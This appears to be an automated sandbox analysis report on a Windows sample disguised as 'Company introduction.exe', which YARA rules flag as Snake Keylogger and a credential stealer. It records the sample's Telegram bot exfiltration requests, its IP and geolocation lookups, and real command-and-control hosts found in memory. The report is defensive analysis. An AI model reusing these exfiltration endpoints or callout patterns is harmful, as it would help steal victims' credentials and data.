Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:34:14%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:14:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 15 Jan 2025 07:39:15 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 15 Jan 2025 07:39:17 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Company introduction.exe, 00000000.00000002.1732379162.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000000.00000002.1732379162.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1756873041.0000000002998000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20a
Source: FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003506000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Company introduction.exe, 00000006.00000002.2941471703.0000000003260000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003501000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030F2000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.0000000003162000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003392000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030F2000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003392000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Company introduction.exe, 00000006.00000002.2941471703.000000000311C000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.0000000003162000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Company introduction.exe, 00000006.00000002.2950101107.0000000004449000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004373000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041F7000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041CF000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004326000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004470000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045C6000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004422000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004497000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004614000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Company introduction.exe, 00000006.00000002.2950101107.000000000415D000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004424000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004301000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.000000000432C000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004188000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045CC000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046C4000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004472000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004428000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000043FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Company introduction.exe, 00000006.00000002.2950101107.0000000004449000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004373000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041F7000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041CF000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004326000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004470000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045C6000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004422000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004497000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004614000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Company introduction.exe, 00000006.00000002.2950101107.000000000415D000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004424000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004301000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.000000000432C000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004188000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045CC000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046C4000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004472000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004428000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000043FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003537000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Company introduction.exe, 00000006.00000002.2941471703.0000000003291000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
